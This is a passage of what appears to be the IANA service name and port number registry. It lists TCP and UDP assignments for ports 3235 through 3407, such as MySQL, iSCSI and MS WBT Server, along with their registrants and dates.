mdap-port          3235        tcp    MDAP port                    [Johan_Deleu]                                         [Johan_Deleu]                                             2002-02
mdap-port          3235        udp    MDAP Port                    [Johan_Deleu]                                         [Johan_Deleu]                                             2002-02
apparenet-ts       3236        tcp    appareNet Test Server
apparenet-ts       3236        udp    appareNet Test Server
apparenet-tps      3237        tcp    appareNet Test Packet
                                      Sequencer
apparenet-tps      3237        udp    appareNet Test Packet
                                      Sequencer
apparenet-as       3238        tcp    appareNet Analysis Server
apparenet-as       3238        udp    appareNet Analysis Server
apparenet-ui       3239        tcp    appareNet User Interface     [Fred_Klassen]                                        [Fred_Klassen]                                            2002-02
apparenet-ui       3239        udp    appareNet User Interface     [Fred_Klassen]                                        [Fred_Klassen]                                            2002-02
triomotion         3240        tcp    Trio Motion Control Port     [Tony_Matthews]                                       [Tony_Matthews]                                           2002-02
triomotion         3240        udp    Trio Motion Control Port     [Tony_Matthews]                                       [Tony_Matthews]                                           2002-02
sysorb             3241        tcp    SysOrb Monitoring Server     [Jakob_Oestergaard]                                   [Jakob_Oestergaard]                                       2002-02
sysorb             3241        udp    SysOrb Monitoring Server     [Jakob_Oestergaard]                                   [Jakob_Oestergaard]                                       2002-02
sdp-id-port        3242        tcp    Session Description ID       [Greg_Rose_2]                                         [Greg_Rose_2]                                             2002-02
sdp-id-port        3242        udp    Session Description ID       [Greg_Rose_2]                                         [Greg_Rose_2]                                             2002-02
timelot            3243        tcp    Timelot Port                 [David_Ferguson]                                      [David_Ferguson]                                          2002-02
timelot            3243        udp    Timelot Port                 [David_Ferguson]                                      [David_Ferguson]                                          2002-02
onesaf             3244        tcp    OneSAF                       [Gene_McCulley]                                       [Gene_McCulley]                                           2002-02
onesaf             3244        udp    OneSAF                       [Gene_McCulley]                                       [Gene_McCulley]                                           2002-02
vieo-fe            3245        tcp    VIEO Fabric Executive        [James_Cox]                                           [James_Cox]                                               2002-02
vieo-fe            3245        udp    VIEO Fabric Executive        [James_Cox]                                           [James_Cox]                                               2002-02
dvt-system         3246        tcp    DVT SYSTEM PORT
dvt-system         3246        udp    DVT SYSTEM PORT
dvt-data           3247        tcp    DVT DATA LINK                [Phillip_Heil]                                        [Phillip_Heil]                                            2002-02
dvt-data           3247        udp    DVT DATA LINK                [Phillip_Heil]                                        [Phillip_Heil]                                            2002-02
procos-lm          3248        tcp    PROCOS LM                    [Torsten_Rendelmann]                                  [Torsten_Rendelmann]
procos-lm          3248        udp    PROCOS LM                    [Torsten_Rendelmann]                                  [Torsten_Rendelmann]
ssp                3249        tcp    State Sync Protocol          [Stephane_Beaulieu]                                   [Stephane_Beaulieu]                                       2002-02
ssp                3249        udp    State Sync Protocol          [Stephane_Beaulieu]                                   [Stephane_Beaulieu]                                       2002-02
hicp               3250        tcp    HMS hicp port                [Joel_Palsson]                                        [Joel_Palsson]                                            2002-02
hicp               3250        udp    HMS hicp port                [Joel_Palsson]                                        [Joel_Palsson]                                            2002-02
sysscanner         3251        tcp    Sys Scanner                  [Dick_Georges]                                        [Dick_Georges]                                            2002-02
sysscanner         3251        udp    Sys Scanner                  [Dick_Georges]                                        [Dick_Georges]                                            2002-02
dhe                3252        tcp    DHE port                     [Fabrizio_Massimo_Fer]                                [Fabrizio_Massimo_Fer]                                    2002-02
dhe                3252        udp    DHE port                     [Fabrizio_Massimo_Fer]                                [Fabrizio_Massimo_Fer]                                    2002-02
pda-data           3253        tcp    PDA Data
pda-data           3253        udp    PDA Data
pda-sys            3254        tcp    PDA System                   [Jian_Fan]                                            [Jian_Fan]                                                2002-02
pda-sys            3254        udp    PDA System                   [Jian_Fan]                                            [Jian_Fan]                                                2002-02
semaphore          3255        tcp    Semaphore Connection Port    [Jay_Eckles]                                          [Jay_Eckles]                                              2002-02
semaphore          3255        udp    Semaphore Connection Port    [Jay_Eckles]                                          [Jay_Eckles]                                              2002-02
cpqrpm-agent       3256        tcp    Compaq RPM Agent Port
cpqrpm-agent       3256        udp    Compaq RPM Agent Port
cpqrpm-server      3257        tcp    Compaq RPM Server Port       [Royal_King]                                          [Royal_King]                                              2002-02
cpqrpm-server      3257        udp    Compaq RPM Server Port       [Royal_King]                                          [Royal_King]                                              2002-02
ivecon-port        3258        tcp    Ivecon Server Port           [Serguei_Tevs]                                        [Serguei_Tevs]                                            2002-02
ivecon-port        3258        udp    Ivecon Server Port           [Serguei_Tevs]                                        [Serguei_Tevs]                                            2002-02
epncdp2            3259        tcp    Epson Network Common Devi    [Oishi_Toshiaki]                                      [Oishi_Toshiaki]                                          2002-02
epncdp2            3259        udp    Epson Network Common Devi    [Oishi_Toshiaki]                                      [Oishi_Toshiaki]                                          2002-02
iscsi-target       3260        tcp    iSCSI port                   [IESG]                                                [IETF_Chair]                                                           2013-08-27   [RFC7143]
iscsi-target       3260        udp    iSCSI port                   [IESG]                                                [IETF_Chair]                                                           2013-08-27   [RFC7143]
winshadow          3261        tcp    winShadow                    [Colin_Barry]                                         [Colin_Barry]
winshadow          3261        udp    winShadow                    [Colin_Barry]                                         [Colin_Barry]
necp               3262        tcp    NECP                         [Alberto_Cerpa]                                       [Alberto_Cerpa]
necp               3262        udp    NECP                         [Alberto_Cerpa]                                       [Alberto_Cerpa]
ecolor-imager      3263        tcp    E-Color Enterprise Imager    [Tamara_Baker]                                        [Tamara_Baker]
ecolor-imager      3263        udp    E-Color Enterprise Imager    [Tamara_Baker]                                        [Tamara_Baker]
ccmail             3264        tcp    cc:mail/lotus                [brockman]                                            [brockman]
ccmail             3264        udp    cc:mail/lotus                [brockman]                                            [brockman]
altav-tunnel       3265        tcp    Altav Tunnel                 [Gary_M_Allen]                                        [Gary_M_Allen]
altav-tunnel       3265        udp    Altav Tunnel                 [Gary_M_Allen]                                        [Gary_M_Allen]
ns-cfg-server      3266        tcp    NS CFG Server                [Aivi_Lie]                                            [Aivi_Lie]
ns-cfg-server      3266        udp    NS CFG Server                [Aivi_Lie]                                            [Aivi_Lie]
ibm-dial-out       3267        tcp    IBM Dial Out                 [Skip_Booth]                                          [Skip_Booth]
ibm-dial-out       3267        udp    IBM Dial Out                 [Skip_Booth]                                          [Skip_Booth]
msft-gc            3268        tcp    Microsoft Global Catalog
msft-gc            3268        udp    Microsoft Global Catalog
msft-gc-ssl        3269        tcp    Microsoft Global Catalog     [Asaf_Kashi]                                          [Asaf_Kashi]
                                      with LDAP/SSL
msft-gc-ssl        3269        udp    Microsoft Global Catalog     [Asaf_Kashi]                                          [Asaf_Kashi]
                                      with LDAP/SSL
verismart          3270        tcp    Verismart                    [Jay_Weber]                                           [Jay_Weber]
verismart          3270        udp    Verismart                    [Jay_Weber]                                           [Jay_Weber]
csoft-prev         3271        tcp    CSoft Prev Port              [Nedelcho_Stanev_3]                                   [Nedelcho_Stanev_3]
csoft-prev         3271        udp    CSoft Prev Port              [Nedelcho_Stanev_3]                                   [Nedelcho_Stanev_3]
user-manager       3272        tcp    Fujitsu User Manager         [Yukihiko_Sakurai]                                    [Yukihiko_Sakurai]
user-manager       3272        udp    Fujitsu User Manager         [Yukihiko_Sakurai]                                    [Yukihiko_Sakurai]
sxmp               3273        tcp    Simple Extensible            [admin]                                               [admin]
                                      Multiplexed Protocol
sxmp               3273        udp    Simple Extensible            [admin]                                               [admin]
                                      Multiplexed Protocol
ordinox-server     3274        tcp    Ordinox Server               [Denis_Ducharme]                                      [Denis_Ducharme]
ordinox-server     3274        udp    Ordinox Server               [Denis_Ducharme]                                      [Denis_Ducharme]
samd               3275        tcp    SAMD                         [Edgar_Circenis]                                      [Edgar_Circenis]
samd               3275        udp    SAMD                         [Edgar_Circenis]                                      [Edgar_Circenis]
maxim-asics        3276        tcp    Maxim ASICs                  [Dave_Inman]                                          [Dave_Inman]
maxim-asics        3276        udp    Maxim ASICs                  [Dave_Inman]                                          [Dave_Inman]
awg-proxy          3277        tcp    AWG Proxy                    [Alex_McDonald]                                       [Alex_McDonald]
awg-proxy          3277        udp    AWG Proxy                    [Alex_McDonald]                                       [Alex_McDonald]
lkcmserver         3278        tcp    LKCM Server                  [Javier_Jimenez]                                      [Javier_Jimenez]
lkcmserver         3278        udp    LKCM Server                  [Javier_Jimenez]                                      [Javier_Jimenez]
admind             3279        tcp    admind                       [Jeff_Haynes]                                         [Jeff_Haynes]
admind             3279        udp    admind                       [Jeff_Haynes]                                         [Jeff_Haynes]
vs-server          3280        tcp    VS Server                    [Scott_Godlew]                                        [Scott_Godlew]
vs-server          3280        udp    VS Server                    [Scott_Godlew]                                        [Scott_Godlew]
sysopt             3281        tcp    SYSOPT                       [Tony_Hoffman]                                        [Tony_Hoffman]
sysopt             3281        udp    SYSOPT                       [Tony_Hoffman]                                        [Tony_Hoffman]
datusorb           3282        tcp    Datusorb                     [Thomas_Martin]                                       [Thomas_Martin]
datusorb           3282        udp    Datusorb                     [Thomas_Martin]                                       [Thomas_Martin]
Apple Remote
Desktop (Net       3283        tcp    Net Assistant                [Michael_Stein]                                       [Michael_Stein]                                                        2011-11-09
Assistant)
Apple Remote
Desktop (Net       3283        udp    Net Assistant                [Michael_Stein]                                       [Michael_Stein]                                                        2011-11-09
Assistant)
4talk              3284        tcp    4Talk                        [Tony_Bushnell]                                       [Tony_Bushnell]
4talk              3284        udp    4Talk                        [Tony_Bushnell]                                       [Tony_Bushnell]
plato              3285        tcp    Plato                        [Jim_Battin]                                          [Jim_Battin]
plato              3285        udp    Plato                        [Jim_Battin]                                          [Jim_Battin]
e-net              3286        tcp    E-Net                        [Steven_Grigsby]                                      [Steven_Grigsby]
e-net              3286        udp    E-Net                        [Steven_Grigsby]                                      [Steven_Grigsby]
directvdata        3287        tcp    DIRECTVDATA                  [Michael_Friedman]                                    [Michael_Friedman]
directvdata        3287        udp    DIRECTVDATA                  [Michael_Friedman]                                    [Michael_Friedman]
cops               3288        tcp    COPS                         [Shai_Herzog]                                         [Shai_Herzog]
cops               3288        udp    COPS                         [Shai_Herzog]                                         [Shai_Herzog]
enpc               3289        tcp    ENPC                         [SEIKO_EPSON_2]                                       [SEIKO_EPSON_2]
enpc               3289        udp    ENPC                         [SEIKO_EPSON_2]                                       [SEIKO_EPSON_2]
caps-lm            3290        tcp    CAPS LOGISTICS TOOLKIT - LM  [Joseph_Krebs]                                        [Joseph_Krebs]
caps-lm            3290        udp    CAPS LOGISTICS TOOLKIT - LM  [Joseph_Krebs]                                        [Joseph_Krebs]
sah-lm             3291        tcp    S A Holditch & Associates -  [Randy_Hudgens]                                       [Randy_Hudgens]
                                      LM
sah-lm             3291        udp    S A Holditch & Associates -  [Randy_Hudgens]                                       [Randy_Hudgens]
                                      LM
cart-o-rama        3292        tcp    Cart O Rama                  [Phillip_Dillinger]                                   [Phillip_Dillinger]
cart-o-rama        3292        udp    Cart O Rama                  [Phillip_Dillinger]                                   [Phillip_Dillinger]
fg-fps             3293        tcp    fg-fps
fg-fps             3293        udp    fg-fps
fg-gip             3294        tcp    fg-gip                       [Jean_Marc_Frailong]                                  [Jean_Marc_Frailong]
fg-gip             3294        udp    fg-gip                       [Jean_Marc_Frailong]                                  [Jean_Marc_Frailong]
dyniplookup        3295        tcp    Dynamic IP Lookup            [Eugene_Osovetsky]                                    [Eugene_Osovetsky]
dyniplookup        3295        udp    Dynamic IP Lookup            [Eugene_Osovetsky]                                    [Eugene_Osovetsky]
rib-slm            3296        tcp    Rib License Manager          [Kristean_Heisler]                                    [Kristean_Heisler]
rib-slm            3296        udp    Rib License Manager          [Kristean_Heisler]                                    [Kristean_Heisler]
cytel-lm           3297        tcp    Cytel License Manager        [Yogesh_P_Gajjar]                                     [Yogesh_P_Gajjar]
cytel-lm           3297        udp    Cytel License Manager        [Yogesh_P_Gajjar]                                     [Yogesh_P_Gajjar]
deskview           3298        tcp    DeskView                     [Manfred_Randelzofer]                                 [Manfred_Randelzofer]
deskview           3298        udp    DeskView                     [Manfred_Randelzofer]                                 [Manfred_Randelzofer]
pdrncs             3299        tcp    pdrncs                       [Paul_Wissenbach]                                     [Paul_Wissenbach]
pdrncs             3299        udp    pdrncs                       [Paul_Wissenbach]                                     [Paul_Wissenbach]
                                                                                                                                                                                                                                                                     Knwon
ceph               3300        tcp    Ceph monitor                 [Sage_Weil]                                           [Sage_Weil]                                               2015-06-29                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on
                                                                                                                                                                                                                                                                     3300-3301
                   3300        udp    Reserved
                                                                                                                                                                                                                                                                     Knwon
                   3301               unassigned                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use on
                                                                                                                                                                                                                                                                     3300-3301
mcs-fastmail       3302        tcp    MCS Fastmail                 [Patti_Jo_Newsom]                                     [Patti_Jo_Newsom]
mcs-fastmail       3302        udp    MCS Fastmail                 [Patti_Jo_Newsom]                                     [Patti_Jo_Newsom]
opsession-clnt     3303        tcp    OP Session Client
opsession-clnt     3303        udp    OP Session Client
opsession-srvr     3304        tcp    OP Session Server            [Amir_Blich]                                          [Amir_Blich]
opsession-srvr     3304        udp    OP Session Server            [Amir_Blich]                                          [Amir_Blich]
odette-ftp         3305        tcp    ODETTE-FTP                   [David_Nash]                                          [David_Nash]                                                                        [RFC5024]
odette-ftp         3305        udp    ODETTE-FTP                   [David_Nash]                                          [David_Nash]                                                                        [RFC5024]
mysql              3306        tcp    MySQL                        [Monty]                                               [Monty]
mysql              3306        udp    MySQL                        [Monty]                                               [Monty]
opsession-prxy     3307        tcp    OP Session Proxy             [Amir_Blich]                                          [Amir_Blich]
opsession-prxy     3307        udp    OP Session Proxy             [Amir_Blich]                                          [Amir_Blich]
tns-server         3308        tcp    TNS Server
tns-server         3308        udp    TNS Server
tns-adv            3309        tcp    TNS ADV                      [Jerome_Albin]                                        [Jerome_Albin]
tns-adv            3309        udp    TNS ADV                      [Jerome_Albin]                                        [Jerome_Albin]
dyna-access        3310        tcp    Dyna Access                  [Dave_Belliveau]                                      [Dave_Belliveau]
dyna-access        3310        udp    Dyna Access                  [Dave_Belliveau]                                      [Dave_Belliveau]
mcns-tel-ret       3311        tcp    MCNS Tel Ret                 [Randall_Atkinson]                                    [Randall_Atkinson]
mcns-tel-ret       3311        udp    MCNS Tel Ret                 [Randall_Atkinson]                                    [Randall_Atkinson]
appman-server      3312        tcp    Application Management
                                      Server
appman-server      3312        udp    Application Management
                                      Server
uorb               3313        tcp    Unify Object Broker          [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
uorb               3313        udp    Unify Object Broker          [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
uohost             3314        tcp    Unify Object Host            [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
uohost             3314        udp    Unify Object Host            [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
cdid               3315        tcp    CDID                         [Andrew_Borisov]                                      [Andrew_Borisov]
cdid               3315        udp    CDID                         [Andrew_Borisov]                                      [Andrew_Borisov]
aicc-cmi           3316        tcp    AICC/CMI                     [William_McDonald]                                    [William_McDonald]
aicc-cmi           3316        udp    AICC/CMI                     [William_McDonald]                                    [William_McDonald]
vsaiport           3317        tcp    VSAI PORT                    [Rieko_Asai]                                          [Rieko_Asai]
vsaiport           3317        udp    VSAI PORT                    [Rieko_Asai]                                          [Rieko_Asai]
ssrip              3318        tcp    Swith to Swith Routing       [Baba_Hidekazu]                                       [Baba_Hidekazu]
                                      Information Protocol
ssrip              3318        udp    Swith to Swith Routing       [Baba_Hidekazu]                                       [Baba_Hidekazu]
                                      Information Protocol
sdt-lmd            3319        tcp    SDT License Manager          [Salvo_Nassisi]                                       [Salvo_Nassisi]
sdt-lmd            3319        udp    SDT License Manager          [Salvo_Nassisi]                                       [Salvo_Nassisi]
officelink2000     3320        tcp    Office Link 2000             [Mike_Balch]                                          [Mike_Balch]
officelink2000     3320        udp    Office Link 2000             [Mike_Balch]                                          [Mike_Balch]
vnsstr             3321        tcp    VNSSTR                       [Takeshi_Ohmura]                                      [Takeshi_Ohmura]
vnsstr             3321        udp    VNSSTR                       [Takeshi_Ohmura]                                      [Takeshi_Ohmura]
active-net       3322-3325            Active Networks              [Bob_Braden_2]                                        [Bob_Braden_2]
sftu               3326        tcp    SFTU                         [Eduardo_Rosenberg_de]                                [Eduardo_Rosenberg_de]
sftu               3326        udp    SFTU                         [Eduardo_Rosenberg_de]                                [Eduardo_Rosenberg_de]
bbars              3327        tcp    BBARS                        [Lou_Harris]                                          [Lou_Harris]
bbars              3327        udp    BBARS                        [Lou_Harris]                                          [Lou_Harris]
egptlm             3328        tcp    Eaglepoint License Manager   [Dave_Benton]                                         [Dave_Benton]
egptlm             3328        udp    Eaglepoint License Manager   [Dave_Benton]                                         [Dave_Benton]
hp-device-disc     3329        tcp    HP Device Disc               [Shivaun_Albright]                                    [Shivaun_Albright]
hp-device-disc     3329        udp    HP Device Disc               [Shivaun_Albright]                                    [Shivaun_Albright]
mcs-calypsoicf     3330        tcp    MCS Calypso ICF
mcs-calypsoicf     3330        udp    MCS Calypso ICF
mcs-messaging      3331        tcp    MCS Messaging
mcs-messaging      3331        udp    MCS Messaging
mcs-mailsvr        3332        tcp    MCS Mail Server              [Patti_Jo_Newsom]                                     [Patti_Jo_Newsom]
mcs-mailsvr        3332        udp    MCS Mail Server              [Patti_Jo_Newsom]                                     [Patti_Jo_Newsom]
dec-notes          3333        tcp    DEC Notes                    [Kim_Moraros]                                         [Kim_Moraros]
dec-notes          3333        udp    DEC Notes                    [Kim_Moraros]                                         [Kim_Moraros]
directv-web        3334        tcp    Direct TV Webcasting
directv-web        3334        udp    Direct TV Webcasting
directv-soft       3335        tcp    Direct TV Software Updates
directv-soft       3335        udp    Direct TV Software Updates
directv-tick       3336        tcp    Direct TV Tickers
directv-tick       3336        udp    Direct TV Tickers
directv-catlg      3337        tcp    Direct TV Data Catalog       [Michael_Friedman]                                    [Michael_Friedman]
directv-catlg      3337        udp    Direct TV Data Catalog       [Michael_Friedman]                                    [Michael_Friedman]
anet-b             3338        tcp    OMF data b
anet-b             3338        udp    OMF data b
anet-l             3339        tcp    OMF data l
anet-l             3339        udp    OMF data l
anet-m             3340        tcp    OMF data m
anet-m             3340        udp    OMF data m
anet-h             3341        tcp    OMF data h                   [Per_Sahlqvist]                                       [Per_Sahlqvist]
anet-h             3341        udp    OMF data h                   [Per_Sahlqvist]                                       [Per_Sahlqvist]
webtie             3342        tcp    WebTIE                       [Kevin_Frender]                                       [Kevin_Frender]
webtie             3342        udp    WebTIE                       [Kevin_Frender]                                       [Kevin_Frender]
ms-cluster-net     3343        tcp    MS Cluster Net               [David_Dion]                                          [David_Dion]                                              2009-02-12
ms-cluster-net     3343        udp    MS Cluster Net               [David_Dion]                                          [David_Dion]                                              2009-02-12
bnt-manager        3344        tcp    BNT Manager                  [Engineering_Dept]                                    [Engineering_Dept]
bnt-manager        3344        udp    BNT Manager                  [Engineering_Dept]                                    [Engineering_Dept]
influence          3345        tcp    Influence                    [Russ_Ferriday]                                       [Russ_Ferriday]
influence          3345        udp    Influence                    [Russ_Ferriday]                                       [Russ_Ferriday]
trnsprntproxy      3346        tcp    Trnsprnt Proxy               [Grant_Kirby]                                         [Grant_Kirby]
trnsprntproxy      3346        udp    Trnsprnt Proxy               [Grant_Kirby]                                         [Grant_Kirby]
phoenix-rpc        3347        tcp    Phoenix RPC                  [Ian_Anderson]                                        [Ian_Anderson]
phoenix-rpc        3347        udp    Phoenix RPC                  [Ian_Anderson]                                        [Ian_Anderson]
pangolin-laser     3348        tcp    Pangolin Laser               [William_Benner]                                      [William_Benner]
pangolin-laser     3348        udp    Pangolin Laser               [William_Benner]                                      [William_Benner]
chevinservices     3349        tcp    Chevin Services              [Gus_McNaughton]                                      [Gus_McNaughton]
chevinservices     3349        udp    Chevin Services              [Gus_McNaughton]                                      [Gus_McNaughton]
findviatv          3350        tcp    FINDVIATV                    [Oran_Davis]                                          [Oran_Davis]
findviatv          3350        udp    FINDVIATV                    [Oran_Davis]                                          [Oran_Davis]
btrieve            3351        tcp    Btrieve port
btrieve            3351        udp    Btrieve port
ssql               3352        tcp    Scalable SQL                 [Chuck_Talk]                                          [Chuck_Talk]
ssql               3352        udp    Scalable SQL                 [Chuck_Talk]                                          [Chuck_Talk]
fatpipe            3353        tcp    FATPIPE                      [Sanchaita_Datta]                                     [Sanchaita_Datta]
fatpipe            3353        udp    FATPIPE                      [Sanchaita_Datta]                                     [Sanchaita_Datta]
suitjd             3354        tcp    SUITJD                       [Todd_Moyer]                                          [Todd_Moyer]
suitjd             3354        udp    SUITJD                       [Todd_Moyer]                                          [Todd_Moyer]
ordinox-dbase      3355        tcp    Ordinox Dbase                [Denis_Ducharme]                                      [Denis_Ducharme]
ordinox-dbase      3355        udp    Ordinox Dbase                [Denis_Ducharme]                                      [Denis_Ducharme]
upnotifyps         3356        tcp    UPNOTIFYPS                   [Mark_Fox]                                            [Mark_Fox]
upnotifyps         3356        udp    UPNOTIFYPS                   [Mark_Fox]                                            [Mark_Fox]
adtech-test        3357        tcp    Adtech Test IP               [Robin_Uyeshiro]                                      [Robin_Uyeshiro]
adtech-test        3357        udp    Adtech Test IP               [Robin_Uyeshiro]                                      [Robin_Uyeshiro]
mpsysrmsvr         3358        tcp    Mp Sys Rmsvr                 [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
mpsysrmsvr         3358        udp    Mp Sys Rmsvr                 [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
wg-netforce        3359        tcp    WG NetForce                  [Lee_Wheat]                                           [Lee_Wheat]
wg-netforce        3359        udp    WG NetForce                  [Lee_Wheat]                                           [Lee_Wheat]
kv-server          3360        tcp    KV Server
kv-server          3360        udp    KV Server
kv-agent           3361        tcp    KV Agent                     [Thomas_Soranno]                                      [Thomas_Soranno]
kv-agent           3361        udp    KV Agent                     [Thomas_Soranno]                                      [Thomas_Soranno]
dj-ilm             3362        tcp    DJ ILM                       [Don_Tyson]                                           [Don_Tyson]
dj-ilm             3362        udp    DJ ILM                       [Don_Tyson]                                           [Don_Tyson]
nati-vi-server     3363        tcp    NATI Vi Server               [Robert_Dye]                                          [Robert_Dye]
nati-vi-server     3363        udp    NATI Vi Server               [Robert_Dye]                                          [Robert_Dye]
creativeserver     3364        tcp    Creative Server
creativeserver     3364        udp    Creative Server
contentserver      3365        tcp    Content Server
contentserver      3365        udp    Content Server
creativepartnr     3366        tcp    Creative Partner             [Jesus_Ortiz_2]                                       [Jesus_Ortiz_2]
creativepartnr     3366        udp    Creative Partner             [Jesus_Ortiz_2]                                       [Jesus_Ortiz_2]
satvid-datalnk   3367-3371            Satellite Video Data Link    [Scott_Engel]                                         [Scott_Engel]
tip2               3372        tcp    TIP 2                        [Keith_Evans]                                         [Keith_Evans]
tip2               3372        udp    TIP 2                        [Keith_Evans]                                         [Keith_Evans]
lavenir-lm         3373        tcp    Lavenir License Manager      [Marius_Matioc]                                       [Marius_Matioc]
lavenir-lm         3373        udp    Lavenir License Manager      [Marius_Matioc]                                       [Marius_Matioc]
cluster-disc       3374        tcp    Cluster Disc                 [Jeff_Hughes]                                         [Jeff_Hughes]
cluster-disc       3374        udp    Cluster Disc                 [Jeff_Hughes]                                         [Jeff_Hughes]
vsnm-agent         3375        tcp    VSNM Agent                   [Venkat_Rangan]                                       [Venkat_Rangan]
vsnm-agent         3375        udp    VSNM Agent                   [Venkat_Rangan]                                       [Venkat_Rangan]
cdbroker           3376        tcp    CD Broker                    [Moon_Ho_Chung]                                       [Moon_Ho_Chung]
cdbroker           3376        udp    CD Broker                    [Moon_Ho_Chung]                                       [Moon_Ho_Chung]
cogsys-lm          3377        tcp    Cogsys Network License       [Simon_Chinnick]                                      [Simon_Chinnick]
                                      Manager
cogsys-lm          3377        udp    Cogsys Network License       [Simon_Chinnick]                                      [Simon_Chinnick]
                                      Manager
wsicopy            3378        tcp    WSICOPY                      [James_Overby]                                        [James_Overby]
wsicopy            3378        udp    WSICOPY                      [James_Overby]                                        [James_Overby]
socorfs            3379        tcp    SOCORFS                      [Hugo_Charbonneau]                                    [Hugo_Charbonneau]
socorfs            3379        udp    SOCORFS                      [Hugo_Charbonneau]                                    [Hugo_Charbonneau]
sns-channels       3380        tcp    SNS Channels                 [Shekar_Pasumarthi]                                   [Shekar_Pasumarthi]
sns-channels       3380        udp    SNS Channels                 [Shekar_Pasumarthi]                                   [Shekar_Pasumarthi]
geneous            3381        tcp    Geneous                      [Nick_de_Smith]                                       [Nick_de_Smith]
geneous            3381        udp    Geneous                      [Nick_de_Smith]                                       [Nick_de_Smith]
fujitsu-neat       3382        tcp    Fujitsu Network Enhanced     [Markku_Viima]                                        [Markku_Viima]
                                      Antitheft function
fujitsu-neat       3382        udp    Fujitsu Network Enhanced     [Markku_Viima]                                        [Markku_Viima]
                                      Antitheft function
esp-lm             3383        tcp    Enterprise Software Products [George_Rudy]                                         [George_Rudy]
                                      License Manager
esp-lm             3383        udp    Enterprise Software Products [George_Rudy]                                         [George_Rudy]
                                      License Manager
hp-clic            3384        tcp    Cluster Management Services  [Rajesh_Srinivasaragh]                                [Rajesh_Srinivasaragh]
hp-clic            3384        udp    Hardware Management          [Rajesh_Srinivasaragh]                                [Rajesh_Srinivasaragh]
qnxnetman          3385        tcp    qnxnetman                    [Michael_Hunter]                                      [Michael_Hunter]
qnxnetman          3385        udp    qnxnetman                    [Michael_Hunter]                                      [Michael_Hunter]
gprs-data          3386        tcp    GPRS Data
gprs-sig           3386        udp    GPRS SIG                     [Ansgar_Bergmann]                                     [Ansgar_Bergmann]
backroomnet        3387        tcp    Back Room Net                [Clayton_Wilkinson]                                   [Clayton_Wilkinson]
backroomnet        3387        udp    Back Room Net                [Clayton_Wilkinson]                                   [Clayton_Wilkinson]
cbserver           3388        tcp    CB Server                    [Allen_Wei]                                           [Allen_Wei]
cbserver           3388        udp    CB Server                    [Allen_Wei]                                           [Allen_Wei]
ms-wbt-server      3389        tcp    MS WBT Server                [Ritu_Bahl]                                           [Ritu_Bahl]
ms-wbt-server      3389        udp    MS WBT Server                [Ritu_Bahl]                                           [Ritu_Bahl]
dsc                3390        tcp    Distributed Service          [Charles_Honton]                                      [Charles_Honton]
                                      Coordinator
dsc                3390        udp    Distributed Service          [Charles_Honton]                                      [Charles_Honton]
                                      Coordinator
savant             3391        tcp    SAVANT                       [Andy_Bruce]                                          [Andy_Bruce]
savant             3391        udp    SAVANT                       [Andy_Bruce]                                          [Andy_Bruce]
efi-lm             3392        tcp    EFI License Management       [Ross_E_Greinke]                                      [Ross_E_Greinke]
efi-lm             3392        udp    EFI License Management       [Ross_E_Greinke]                                      [Ross_E_Greinke]
d2k-tapestry1      3393        tcp    D2K Tapestry Client to
                                      Server
d2k-tapestry1      3393        udp    D2K Tapestry Client to
                                      Server
d2k-tapestry2      3394        tcp    D2K Tapestry Server to       [Eric_Lan]                                            [Eric_Lan]
                                      Server
d2k-tapestry2      3394        udp    D2K Tapestry Server to       [Eric_Lan]                                            [Eric_Lan]
                                      Server
dyna-lm            3395        tcp    Dyna License Manager (Elam)  [Anjana_Iyer]                                         [Anjana_Iyer]
dyna-lm            3395        udp    Dyna License Manager (Elam)  [Anjana_Iyer]                                         [Anjana_Iyer]
                                      Printer Agent

printer-agent      3396        tcp    IANA assigned this           [Devon_Taylor]                                        [Devon_Taylor]
                                      well-formed service name as
                                      a replacement for
                                      "printer_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "printer-agent". This entry is now
printer_agent      3396        tcp    Printer Agent                [Devon_Taylor]                                        [Devon_Taylor]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Printer Agent

printer-agent      3396        udp    IANA assigned this           [Devon_Taylor]                                        [Devon_Taylor]
                                      well-formed service name as
                                      a replacement for
                                      "printer_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "printer-agent". This entry is now
printer_agent      3396        udp    Printer Agent                [Devon_Taylor]                                        [Devon_Taylor]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
cloanto-lm         3397        tcp    Cloanto License Manager      [Takeo_Sato]                                          [Takeo_Sato]                                              2010-04-30
cloanto-lm         3397        udp    Cloanto License Manager      [Takeo_Sato]                                          [Takeo_Sato]                                              2010-04-30
mercantile         3398        tcp    Mercantile                   [Erik_Kragh_Jensen]                                   [Erik_Kragh_Jensen]
mercantile         3398        udp    Mercantile                   [Erik_Kragh_Jensen]                                   [Erik_Kragh_Jensen]
csms               3399        tcp    CSMS
csms               3399        udp    CSMS
csms2              3400        tcp    CSMS2                        [Markus_Michels_2]                                    [Markus_Michels_2]
csms2              3400        udp    CSMS2                        [Markus_Michels_2]                                    [Markus_Michels_2]
filecast           3401        tcp    filecast                     [Eden_Sherry]                                         [Eden_Sherry]
filecast           3401        udp    filecast                     [Eden_Sherry]                                         [Eden_Sherry]
fxaengine-net      3402        tcp    FXa Engine Network Port      [Lucas_Alonso]                                        [Lucas_Alonso]                                            2002-02
fxaengine-net      3402        udp    FXa Engine Network Port      [Lucas_Alonso]                                        [Lucas_Alonso]                                            2002-02
                   3403               De-registered                                                                                                                                             2006-10-27
                   3404               Removed                                                                                                                                                   2002-05-01
nokia-ann-ch1      3405        tcp    Nokia Announcement ch 1
nokia-ann-ch1      3405        udp    Nokia Announcement ch 1
nokia-ann-ch2      3406        tcp    Nokia Announcement ch 2      [Morteza_Kalhour]                                     [Morteza_Kalhour]                                         2002-02
nokia-ann-ch2      3406        udp    Nokia Announcement ch 2      [Morteza_Kalhour]                                     [Morteza_Kalhour]                                         2002-02
ldap-admin         3407        tcp    LDAP admin server port       [Stephen_Tsun_2]                                      [Stephen_Tsun_2]                                          2002-02
